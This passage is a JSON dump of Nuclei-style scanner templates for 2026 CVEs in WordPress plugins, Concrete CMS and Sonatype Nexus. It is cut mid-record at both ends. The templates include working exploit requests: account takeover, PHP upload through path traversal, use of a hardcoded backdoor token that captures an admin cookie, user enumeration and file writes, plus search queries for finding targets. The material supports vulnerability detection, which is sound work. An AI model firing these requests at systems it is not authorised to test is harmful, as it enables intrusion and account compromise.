4b0a00483046022100b80ad79fb935e4a572ba5a995352850f756a102649016a98acb414cdcc42c3e8022100f0cdc0120e24c386243f6b4a825e3c6062e02aa35e44e5b18711ed4c4eb0cff2:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18577.yaml","vuln_id":"cve-2026-18577"},{"raw":"id: CVE-2026-18315\n\ninfo:\n  name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.\n  remediation: |\n    Update to the latest version of the TrueBooker plugin.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability\n    - https://github.com/nastar-id/CVE-2026-18315-PoC\n    - https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18315\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-18315\n    epss-score: 0.03026\n    epss-percentile: 0.87508\n    cwe-id: CWE-639\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: truebooker\n    product: truebooker-appointment-booking\n    fofa-query: body=\"truebooker-appointment-booking\"\n    publicwww-query: \"/wp-content/plugins/truebooker-appointment-booking/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev\n\nflow: |\n  if (!http(1)) { stop(); }\n  http(2);\n  if (!template[\"nonce\"]) { http(3); }\n  if (!template[\"nonce\"]) { http(4); }\n  if (!template[\"nonce\"]) { http(5); }\n  if (!template[\"nonce\"]) { stop(); }\n  http(6);\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"TrueBooker\")'\n          - 'compare_versions(plugin_version, \"<= 1.2.6\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /booking/ HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /appointment/ HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /schedule/ HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        regex:\n          - 'ajax_object\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"fname-error-front\", \"tba-popconfirm\", \"truebooker_error\")'\n        condition: and\n# digest: 490a004630440220638f15860f3743e0a1e7f7750aeda1bc45fc4d094fbedad2b96ac683f0bf704202203aa6e19fc4a9fafb1d8353239d0d7267532462256e0e3c8383f35e91f4774f11:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18315.yaml","vuln_id":"cve-2026-18315"},{"raw":"id: CVE-2026-1830\n\ninfo:\n  name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload\n  author: iamatownboy\n  severity: critical\n  description: |\n    The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.\n    The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.\n  impact: |\n    Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.\n  remediation: |\n    Update Quick Playground to version 1.3.2 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1830\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve\n    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39\n    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419\n    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1830\n    epss-score: 0.08095\n    epss-percentile: 0.94834\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: davidfcarr\n    product: quick-playground\n    framework: wordpress\n    publicwww-query: \"/plugins/quick-playground/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive,vkev\n\nvariables:\n  filename: \"{{rand_text_alpha(8)}}.php\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"Quick Playground\")\n          - compare_versions(version, \"<= 1.3.1\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '\"qckply_sync_code\"\\s*:\\s*\"[a-zA-Z0-9]+\"'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sync_code\n        part: body\n        group: 1\n        regex:\n          - '\"qckply_sync_code\"\\s*:\\s*\"([a-zA-Z0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"sync_code\":\"{{sync_code}}\",\"base64\":\"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+\",\"filename\":\"../../{{filename}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"saving to\")\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/{{filename}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"CVE-2026-1830\")\n        condition: and\n# digest: 4a0a00473045022100e41c3477857e5e825b49afa8ecf798178c7bc5777f5eb1ecdd0f961d13749c9202205aa2076df11c17d0d02a111f23a391a0acf8c64530914a75c7b637b015885e21:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1830.yaml","vuln_id":"cve-2026-1830"},{"raw":"id: CVE-2026-18143\n\ninfo:\n  name: Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Request a Quote for WooCommerce plugin for WordPress <= 2.9.2 contains an unrestricted file upload vulnerability caused by missing file extension and MIME type validation in afrfq_submit_quote_via_popup(), letting unauthenticated attackers upload executable files, exploit requires enabled public quote rule with multi-page popup flow.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version of Request a Quote for WooCommerce plugin.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/woocommerce-request-a-quote/vulnerability/wordpress-request-a-quote-for-woocommerce-plugin-2-9-2-unauthenticated-arbitrary-file-upload-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3417ec27-6abf-45c7-945f-6ef456ba1187?source=cve\n    - https://github.com/murrez/CVE-2026-18143\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18143\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-18143\n    epss-score: 0.0214\n    epss-percentile: 0.82089\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 8\n    vendor: addify\n    product: woocommerce-request-a-quote\n    fofa-query: body=\"/wp-content/plugins/woocommerce-request-a-quote/\"\n    shodan-query: http.html:\"woocommerce-request-a-quote\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,addify,afrfq,file-upload,rce,unauth,intrusive,vkev\n\nvariables:\n  rand: \"{{randstr}}\"\n  filename: \"proof_{{rand}}.txt\"\n  bound: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: |\n  if (!http(1)) { stop(); }\n  http(2);\n  if (!template[\"product_slug\"]) { http(3); }\n  if (!template[\"product_slug\"]) { http(4); }\n  if (!template[\"product_slug\"]) { stop(); }\n  http(5);\n  if (!template[\"nonce1\"]) { stop(); }\n  http(6);\n  http(7);\n  if (!template[\"nonce2\"])     { set(\"nonce2\", template[\"nonce1\"]); }\n  if (!template[\"qty_key\"])    { set(\"qty_key\", \"0\"); }\n  if (!template[\"rfq_field1\"]) { set(\"rfq_field1\", \"afrfq_noop_a\"); }\n  if (!template[\"rfq_field2\"]) { set(\"rfq_field2\", \"afrfq_noop_b\"); }\n  if (!template[\"rfq_field3\"]) { set(\"rfq_field3\", \"afrfq_noop_c\"); }\n  http(8);\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/woocommerce-request-a-quote/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Request a Quote\")'\n          - 'compare_versions(plugin_version, \"<= 2.9.2\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/wc/store/products?per_page=3&orderby=popularity HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: product_slug\n        group: 1\n        regex:\n          - '^[\\s\\S]*?[\\\\/]product[\\\\/]+([a-zA-Z0-9_-]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-sitemap-posts-product-1.xml HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: product_slug\n        group: 1\n        regex:\n          - '^[\\s\\S]*?/product/([a-zA-Z0-9_-]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /shop/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: product_slug\n        group: 1\n        regex:\n          - '^[\\s\\S]*?/product/([a-zA-Z0-9_-]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /product/{{product_slug}}/ HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce1\n        group: 1\n        regex:\n          - 'afrfq_phpvars[\\s\\S]{0,400}\"nonce\"\\s*:\\s*\"([a-f0-9]{6,12})\"'\n        internal: true\n\n      - type: regex\n        name: product_id\n        group: 1\n        regex:\n          - 'postid-(\\d+)'\n          - '\"product_id\"\\s*:\\s*\"?(\\d+)\"?'\n        internal: true\n\n      - type: regex\n        name: rule_id\n        group: 1\n        regex:\n          - 'data-rule_id=\"(\\d+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=add_to_quote&nonce={{nonce1}}&product_id={{product_id}}&rule_id={{rule_id}}&quantity=1\n\n  - raw:\n      - |\n        GET /product/{{product_slug}}/?ra={{rand}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce2\n        group: 1\n        regex:\n          - 'name=\"afrfq_nonce\"\\s+value=\"([^\"]+)\"'\n          - 'id=\"afrfq_nonce\"[^>]+value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: qty_key\n        group: 1\n        regex:\n          - 'name=\"quote_qty\\[([^\\]]+)\\]\"'\n        internal: true\n\n      - type: regex\n        name: rfq_field1\n        group: 1\n        regex:\n          - '^[\\s\\S]*?name=\"(afrfq_field_\\d+)\"'\n        internal: true\n\n      - type: regex\n        name: rfq_field2\n        group: 1\n        regex:\n          - '^[\\s\\S]*?name=\"afrfq_field_\\d+\"[\\s\\S]*?name=\"(afrfq_field_\\d+)\"'\n        internal: true\n\n      - type: regex\n        name: rfq_field3\n        group: 1\n        regex:\n          - '^[\\s\\S]*?name=\"afrfq_field_\\d+\"[\\s\\S]*?name=\"afrfq_field_\\d+\"[\\s\\S]*?name=\"(afrfq_field_\\d+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary={{bound}}\n        Accept: application/json, text/javascript, */*; q=0.01\n        X-Requested-With: XMLHttpRequest\n\n        --{{bound}}\n        Content-Disposition: form-data; name=\"action\"\n\n        afrfq_submit_quote_via_popup\n        --{{bound}}\n        Content-Disposition: form-data; name=\"afrfq_nonce\"\n\n        {{nonce2}}\n        --{{bound}}\n        Content-Disposition: form-data; name=\"popup_template\"\n\n        template_two\n        --{{bound}}\n        Content-Disposition: form-data; name=\"current_page\"\n\n        2\n        --{{bound}}\n        Content-Disposition: form-data; name=\"quote_qty[{{qty_key}}]\"\n\n        1\n        --{{bound}}\n        Content-Disposition: form-data; name=\"{{rfq_field1}}\"\n\n        poc\n        --{{bound}}\n        Content-Disposition: form-data; name=\"{{rfq_field2}}\"\n\n        poc\n        --{{bound}}\n        Content-Disposition: form-data; name=\"{{rfq_field3}}\"\n\n        poc@example.com\n        --{{bound}}\n        Content-Disposition: form-data; name=\"qfile\"; filename=\"{{filename}}\"\n        Content-Type: text/plain\n\n        {{rand}}\n        --{{bound}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains(body, \"\\\"status\\\":\\\"pass\\\"\")'\n        condition: and\n# digest: 490a0046304402205944aacdf323be42badebdd58b311bcd7d9fb1cfcff0912148641901bced47dc02203ec6eeb1a8734e1f7d6bb93c181bbe4c5e55c1942cfdd31ec28281f471536e21:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18143.yaml","vuln_id":"cve-2026-18143"},{"raw":"id: CVE-2026-18110\n\ninfo:\n  name: Concrete CMS - User Enumeration\n  author: community\n  severity: high\n  description: |\n    Concrete CMS versions 9.0.0 through 9.5.2 are vulnerable to unauthenticated user enumeration via a missing authorization check in the \"Preview As User\" panel (concrete/controllers/panel/page/preview_as_user.php).\n  impact: |\n    Unauthenticated attackers can enumerate all backend user accounts, disclosing internal user IDs, usernames, and email addresses of administrative users.\n  remediation: |\n    Update to the latest version beyond 9.5.2 where the authorization check is implemented.\n  reference:\n    - https://github.com/concretecms/concretecms\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-18110\n    epss-score: 0.01592\n    epss-percentile: 0.75752\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    vendor: concretecms\n    product: concretecms\n    shodan-query: http.html:\"Concrete CMS\"\n    fofa-query: body=\"Concrete CMS\"\n  tags: cve,cve2026,concretecms,concrete5,user-enum,cms\n\nhttp:\n  - raw:\n      - |\n        GET /ccm/system/panels/page/preview_as_user HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml\n\n      - |\n        POST /ccm/system/user/autocomplete HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        accessToken={{token}}&labelFormat={{label_format}}&includeAvatar={{include_avatar}}&query=a\n\n    extractors:\n      - type: regex\n        name: token\n        group: 1\n        part: body_1\n        regex:\n          - 'access-token=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: label_format\n        group: 1\n        part: body_1\n        regex:\n          - 'label-format=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: include_avatar\n        group: 1\n        part: body_1\n        regex:\n          - ':include-avatar=\"([^\"]+)\"'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type_2, \"application/json\")'\n          - 'status_code_1 == 200 && status_code_2 == 200'\n          - 'contains_all(body_2, \"id\\\":\", \"primary_label\\\":\")'\n        condition: and\n# digest: 4a0a00473045022038e439976346a848c2264551149284a704ce029b809fc3949fae85fee964d548022100fe1cedf82652b227971cdcdf33fb7351b67418efbdf68c494798d810ef3f7797:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-18110.yaml","vuln_id":"cve-2026-18110"},{"raw":"id: CVE-2026-18072\n\ninfo:\n  name: Advanced Responsive Video Embedder 10.8.7/10.8.8 - Hardcoded Backdoor Authentication Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    The compromised Advanced Responsive Video Embedder WordPress plugin releases 10.8.7 and 10.8.8 accept a hardcoded token through the `_wplogin` parameter and establish an authenticated administrator session before normal authentication. A single unauthenticated GET request triggers the backdoor. This template only inspects the redirect and session-cookie response and does not perform any administrative action.\n  impact: |\n    An unauthenticated attacker gains a full administrator session on the WordPress site, allowing complete takeover including plugin/theme editing, arbitrary PHP execution, and data theft.\n  remediation: |\n    Immediately remove the Advanced Responsive Video Embedder plugin versions 10.8.7 and 10.8.8, reinstall a known-clean release, rotate all secrets and passwords, and audit for rogue administrator accounts and web shells created after the backdoor was published.\n  reference:\n    - https://www.wordfence.com/blog/2026/07/wordfence-prism-detected-backdoored-wordpress-plugin-within-two-hours-of-it-being-introduced/\n    - https://plugins.trac.wordpress.org/browser/advanced-responsive-video-embedder/tags/10.8.7/php/fn-update-check.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18072\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-18072\n    epss-score: 0.02983\n    epss-percentile: 0.87331\n    cwe-id: CWE-798\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: advanced-responsive-video-embedder\n    product: advanced-responsive-video-embedder\n    framework: wordpress\n    shodan-query: http.html:\"advanced-responsive-video-embedder\"\n    fofa-query: body=\"advanced-responsive-video-embedder\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,backdoor,authbypass,unauth,arve\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?_wplogin=35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900\"\n\n    redirects: false\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"/wp-admin/\"\n\n      - type: regex\n        part: header\n        regex:\n          - \"(?i)set-cookie:\\\\s*wordpress_logged_in_[a-f0-9]{32}=\"\n\n      - type: status\n        status:\n          - 302\n\n    extractors:\n      - type: regex\n        part: header\n        group: 1\n        regex:\n          - \"(?i)wordpress_logged_in_[a-f0-9]{32}=([^;]+)\"\n# digest: 4a0a00473045022100a7accc8589ac45ff4228c7dbb08e4a383a0ff8b077dfb8632f51513c4922c9f6022010f02f3ed0e95839be046050ac172c96b108b51a653d25c72beec97fdc5352f9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18072.yaml","vuln_id":"cve-2026-18072"},{"raw":"id: CVE-2026-18051\n\ninfo:\n  name: W3 Total Cache < 2.10.5 - Unauthenticated Arbitrary Directory File Write\n  author: HaroonArshad-53\n  severity: critical\n  description: |\n    W3 Total Cache WordPress plugin < 2.10.5 contains an unrestricted file write vulnerability caused by improper validation of request paths used for cache file names, letting unauthenticated attackers overwrite files including .htaccess, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can overwrite arbitrary files, including .htaccess, potentially breaking the site and disabling security measures.\n  remediation: |\n    Upgrade to version 2.10.5 or later.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2026-18051\n    - https://wpscan.com/vulnerability/dc56cdd2-419b-4a64-9d2a-29dc7e79cb6d/\n  classification:\n    cve-id: CVE-2026-18051\n    epss-score: 0.02007\n    epss-percentile: 0.80891\n    cwe-id: CWE-22\n  metadata:\n    max-request: 5\n    vendor: boldgrid\n    product: w3-total-cache\n    shodan-query: http.html:\"/wp-content/plugins/w3-total-cache/\"\n    fofa-query: body=\"/wp-content/plugins/w3-total-cache/\"\n  tags: cve,cve2026,wordpress,w3-total-cache,path-traversal,unauth,intrusive\n\nvariables:\n  marker: \"{{rand_base(8, 'acfhjnprx')}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - \"Stable tag: ([0-9.]+)\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"< 2.10.5\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /search/{{marker}}/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        condition: and\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(to_lower(body), \"w3 total cache\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /search/{{marker}}/%2e%2e%5c%2e%2e%5c HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash_ssl.html HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-content/cache/page_enhanced/{{Hostname}}/_index_slash.html HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains_any(body, marker, \"search-no-results\")'\n        condition: and\n# digest: 490a0046304402204a834fa8a7f460d399c8ec85ce7ef975c59cd30efc7bb9f103616b771aa6275e022031eaefe1e155fd44e91d52a7a6e2e94e5d81c4f4393ff9c9e7d44386ade4c433:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-18051.yaml","vuln_id":"cve-2026-18051"},{"raw":"id: CVE-2026-17594\n\ninfo:\n  name: Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch\n  author: 1dayexploit\n  severity: high\n  description: |\n    Nexus Repository 3 CE/Pro 3.0.0 through 3.94.x contains an incorrect authorization vulnerability caused by inconsistent authorization checks in the repository-creation UI, letting delegated repository-admin users create unauthorized repository formats, exploit requires delegated repository-admin privilege.\n  impact: |\n    Delegated repository-admin users can create unauthorized repository formats, potentially leading to privilege abuse or unauthorized repository creation.\n  remediation: |\n    Upgrade to version 3.95.0 or later.\n  reference:\n    - https://github.com/sonatype/nexus-public\n    - https://help.sonatype.com/en/sonatype-nexus-repository-3-95-0-release-notes.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-17594\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-17594\n    cwe-id: CWE-863\n    epss-score: 0.00993\n    epss-percentile: 0.62703\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: sonatype\n    product: nexus_repository\n    shodan-query: http.title:\"Sonatype Nexus Repository\"\n    fofa-query: title=\"Sonatype Nexus Repository\"\n  tags: cve,cve2026,nexus,sonatype,pri-esc,authenticated,intrusive\n\nvariables:\n  repo_name: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /service/extdirect HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(username + ':' + password)}}\n        Content-Type: application/json\n\n        {\"action\":\"coreui_Repository\",\"method\":\"create\",\"type\":\"rpc\",\"tid\":1,\"data\":[{\"name\":\"{{repo_name}}-ctl\",\"format\":\"raw\",\"recipe\":\"raw-hosted\",\"online\":true,\"routingRuleId\":\"\",\"attributes\":{\"storage\":{\"blobStoreName\":\"default\",\"strictContentTypeValidation\":true,\"writePolicy\":\"ALLOW\"},\"cleanup\":{\"policyName\":[]},\"component\":{\"proprietaryComponents\":false},\"raw\":{\"contentDisposition\":\"ATTACHMENT\"}}}]}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"success\\\":false\"\n          - \"does not have permission\"\n        condition: and\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        POST /service/extdirect HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(username + ':' + password)}}\n        Content-Type: application/json\n\n        {\"action\":\"coreui_Repository\",\"method\":\"create\",\"type\":\"rpc\",\"tid\":2,\"data\":[{\"name\":\"{{repo_name}}\",\"format\":\"maven2\",\"recipe\":\"raw-hosted\",\"online\":true,\"routingRuleId\":\"\",\"attributes\":{\"storage\":{\"blobStoreName\":\"default\",\"strictContentTypeValidation\":true,\"writePolicy\":\"ALLOW\"},\"cleanup\":{\"policyName\":[]},\"component\":{\"proprietaryComponents\":false},\"raw\":{\"contentDisposition\":\"ATTACHMENT\"}}}]}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"\\\"success\\\":true\"\n          - \"\\\"format\\\":\\\"raw\\\"\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100fd26e3ad888c6dc28aaee8bf7d4242cb96d036dd330bd0de27de251d963380c802201768bbe6de70aaa15e20903ab79027f9c3c24045cab9df1381395bb4d30ce940:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-17594.yaml","vuln_id":"cve-2026-17594"},{"raw":"id: CVE-2026-17540\n\ninfo:\n  name: WordPress Bit File Manager < 6.9.1 - Arbitrary File Read\n  author: anirbala98\n  severity: high\n  description: |\n    The Bit File Manager WordPress plugin before 6.9.1 does not properly authorise its file management commands, allowing any authenticated user, such as a subscriber, to read and delete arbitrary files under the WordPress installation directory.\n  impact: |\n    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.\n  remediation: |\n    Update to version 6.9.1 or later.\n  reference:\n    - https://wpscan.com/vulnerability/096cb7df-26a5-4f5f-bbec-725e063a2b75/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-17540\n    - https://wordpress.org/plugins/file-manager/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-17540\n    epss-score: 0.01827\n    epss-percentile: 0.78894\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: bit-apps\n    product: file-manager\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/file-manager/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET 